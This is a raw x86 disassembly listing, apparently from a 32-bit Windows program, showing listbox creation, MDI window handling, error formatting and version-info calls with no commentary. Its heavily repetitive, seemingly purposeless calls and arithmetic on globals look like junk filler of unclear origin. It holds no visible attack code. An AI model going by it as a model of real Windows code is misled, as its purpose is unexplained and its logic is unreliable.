call fcn.00443b70
mov edx, dword [0x47ba30]
mov ebx, dword [0x47ba40]
mov dword [esp + 0x30b8], edi
mov edi, dword [0x47ba38]
mov eax, edi
add esp, 0xc
sub eax, 1
mov dword [esp + 0x24], edx
jne 0x406d5b
push ebx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov eax, dword [esp + 0x24]
push eax
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
push 4
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
je 0x406d7d
add dword [0x47ba2c], 1
push 0
push 0
lea ecx, [esp + 0x234]
push ecx
push 0x400
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 0
push 0x1100
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
mov edx, dword [esp + 0x22c]
push edx
call dword [sym.imp.KERNEL32.DLL_LocalFree]
lea eax, [esp + 0x37c]
push eax
lea ecx, [esp + 0x30b0]
push ecx
call sub.VERSION.dll_GetFileVersionInfoSizeA
test eax, eax
mov edi, dword [0x47ba3c]
jne 0x406dd5
mov dword [0x47ba2c], edi
mov eax, dword [0x47ba38]
sub eax, 1
jne 0x406df7
mov edx, dword [0x47ba40]
mov esi, dword [sym.imp.USER32.dll_GetParent]
push edx
call esi
push eax
call esi
mov edi, dword [0x47ba3c]
mov esi, edi
imul esi, dword [0x47ba2c]
push 0xff
lea eax, [esp + 0x2ab1]
push 0
push eax
mov dword [0x47ba2c], esi
call fcn.00443b70
mov eax, dword [0x47ba38]
add esp, 0xc
sub eax, 1
mov dword [esp + 0x2aac], edi
jne 0x406e86
mov eax, dword [0x47ba30]
mov ecx, dword [eax + 4]
mov edx, dword [0x47ba40]
push 0
push ecx
push 0
push edx
push 0
push 0
push 0
push 0
push 0x50000100
push str.listbox_control
push str.listbox
push 0x200
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 0x11
mov esi, eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
push 0x30
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, dword [0x47ba2c]
mov edi, dword [0x47ba3c]
mov eax, dword [0x47ba40]
push esi
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
lea ecx, [esp + 0x564]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [0x47ba38]
sub eax, 1
jne 0x406ecf
mov edx, dword [0x47ba40]
mov esi, dword [sym.imp.USER32.dll_GetParent]
push edx
call esi
push eax
call esi
mov eax, dword [0x47ba30]
mov edi, dword [0x47ba38]
mov esi, dword [0x47ba40]
mov ebx, dword [0x47ba2c]
mov dword [esp + 0x24], eax
mov eax, edi
sub eax, 1
jne 0x406eff
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov ecx, dword [esp + 0x24]
push ecx
push ebx
push edi
push esi
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
push 4
push esi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
je 0x406f21
add dword [0x47ba2c], 1
push 0
push 0
lea edx, [esp + 0xdc]
push edx
push 0x400
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push 0
push 0x1100
call dword [sym.imp.KERNEL32.DLL_FormatMessageA]
mov eax, dword [esp + 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_LocalFree]
lea ecx, [esp + 0x160]
push ecx
lea edx, [esp + 0x2ab0]
push edx
call sub.VERSION.dll_GetFileVersionInfoSizeA
test eax, eax
mov ecx, dword [0x47ba3c]
mov edx, ecx
je 0x406f7b
mov edx, dword [0x47ba2c]
mov ebx, dword [0x47ba38]
mov edi, dword [0x47ba40]
mov eax, ecx
imul eax, edx
mov edx, dword [esp + 0x160]
add edx, ecx
cmp dword [esp + 0xd4], edx
mov dword [0x47ba2c], eax
jne 0x406fbf
movzx esi, cx
imul esi, dword [0x47ba44]
imul esi, ebx
add esi, 1
imul esi, dword [esp + 0xd4]
add esi, edi
jmp 0x406fc6
mov esi, dword [esp + 0xd4]
mov dword [esp + 0x64], eax
mov eax, dword [0x47ba30]
mov dword [esp + 0x24], eax
mov eax, ebx
sub eax, 1
jne 0x406fe8
push edi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x64]
push ecx
push edx
push ebx
push edi
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
je 0x40700e
add dword [0x47ba2c], 1
mov edi, dword [0x47ba38]
mov ecx, dword [0x47ba40]
mov eax, edi
sub eax, 1
jne 0x407039
mov edi, dword [sym.imp.USER32.dll_GetParent]
push ecx
call edi
push eax
call edi
mov edi, dword [0x47ba38]
mov ecx, dword [0x47ba40]
mov ebx, dword [0x47ba44]
mov edx, edi
imul edx, dword [0x47ba2c]
lea eax, [ebx + edi]
cmp edx, eax
jne 0x40706e
movzx eax, si
mov esi, dword [esp + 0xd4]
sub esi, eax
lea esi, [esi + ebx + 4]
imul esi, dword [0x47ba30]
mov dword [0x47ba30], esi
jmp 0x407074
mov esi, dword [0x47ba30]
mov eax, dword [0x47ba3c]
mov edx, eax
imul edx, dword [0x47ba2c]
cmp dword [esp + 0x30], ecx
mov dword [0x47ba2c], edx
jne 0x4070e0
mov eax, edi
cdq
xor eax, edx
sub eax, edx
imul eax, ebx
mov dword [esp + 0x24], eax
movzx eax, word [esp + 0x160]
add eax, edi
cdq
add edi, 4
idiv edi
mov ebx, dword [0x47ba44]
mov edi, eax
movzx eax, byte [0x47ba3c]
imul eax, esi
cdq
idiv dword [0x47ba44]
sub edi, eax
add edi, dword [esp + 0x3c]
mov eax, dword [esp + 0x24]
add edi, eax
mov eax, dword [0x47ba3c]
mov dword [esp + 0x3c], edi
mov edi, dword [0x47ba38]
mov edx, edi
sub edx, 1
jne 0x40713e
push edx
mov edx, dword [esi + 4]
push edx
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000100
push str.listbox_control
push str.listbox
push 0x200
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 0x11
mov esi, eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
push 0x30
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, dword [0x47ba38]
mov ecx, dword [0x47ba40]
mov ebx, dword [0x47ba44]
mov eax, dword [0x47ba3c]
mov edx, dword [esp + 0x160]
add edx, eax
cmp dword [esp + 0x30], edx
jne 0x407164
movzx edx, ax
imul edx, ebx
imul edx, edi
add edx, 1
imul edx, dword [esp + 0x3c]
add edx, ecx
mov dword [esp + 0x3c], edx
mov edi, eax
mov eax, dword [0x47ba2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
lea ecx, [esp + 0x584]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [0x47ba38]
mov edx, dword [0x47ba2c]
mov ecx, dword [0x47ba44]
mov edi, eax
imul edi, edx
lea esi, [ecx + eax]
cmp edi, esi
jne 0x4071ce
movzx edi, word [esp + 0x3c]
mov esi, dword [esp + 0x30]
sub esi, edi
lea ecx, [esi + ecx + 4]
imul ecx, dword [0x47ba30]
mov dword [0x47ba30], ecx
jmp 0x4071d4
mov ecx, dword [0x47ba30]
mov esi, dword [0x47ba40]
mov edi, eax
sub eax, 1
mov ebx, edx
mov dword [esp + 0x24], ecx
jne 0x4071f5
push esi
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov edx, dword [esp + 0x24]
push edx
push ebx
push edi
push esi
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
push 4
push esi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
je 0x407217
add dword [0x47ba2c], 1
mov ecx, dword [0x47ba3c]
mov eax, ecx
imul eax, dword [0x47ba2c]
push eax
mov dword [0x47ba2c], eax
mov eax, dword [0x47ba40]
push eax
mov edi, ecx
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, eax
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
lea ecx, [esp + 0x5a4]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [0x47ba38]
sub eax, 1
mov edi, dword [sym.imp.USER32.dll_GetParent]
jne 0x407276
mov edx, dword [0x47ba40]
push edx
call edi
push eax
call edi
mov eax, dword [0x47ba38]
sub eax, 1
jne 0x4072cc
mov eax, dword [0x47ba30]
mov eax, dword [eax + 4]
mov ecx, dword [0x47ba40]
push 0
push eax
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000100
push str.listbox_control
push str.listbox
push 0x200
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 0x11
mov esi, eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
push 0x30
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [0x47ba3c]
imul eax, dword [0x47ba2c]
mov ecx, dword [0x47ba38]
sub ecx, 1
mov dword [0x47ba2c], eax
jne 0x407332
mov eax, dword [0x47ba30]
mov edx, dword [eax + 4]
mov eax, dword [0x47ba40]
push ecx
push edx
push ecx
push eax
push ecx
push ecx
push ecx
push ecx
push 0x50000100
push str.listbox_control
push str.listbox
push 0x200
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 0x11
mov esi, eax
call dword [sym.imp.GDI32.dll_GetStockObject]
push eax
push 0x30
push esi
call dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [0x47ba2c]
mov ecx, dword [0x47ba38]
sub ecx, 1
jne 0x40734e
mov ecx, dword [0x47ba40]
push ecx
call edi
push eax
call edi
mov eax, dword [0x47ba2c]
mov edi, dword [0x47ba3c]
mov esi, edi
imul esi, eax
push 0xff
lea edx, [esp + 0x8e1]
push 0
push edx
mov dword [0x47ba2c], esi
call fcn.00443b70
mov eax, dword [0x47ba30]
mov ebx, dword [0x47ba40]
mov dword [esp + 0x8e8], edi
mov edi, dword [0x47ba38]
mov dword [esp + 0x30], eax
mov eax, edi
add esp, 0xc
sub eax, 1
jne 0x4073a7
push ebx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_GetParent]
mov ecx, dword [esp + 0x24]
push ecx
push esi
push edi
push ebx
call dword [sym.imp.USER32.dll_DefMDIChildProcA]
push 4
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
je fcn.004073c9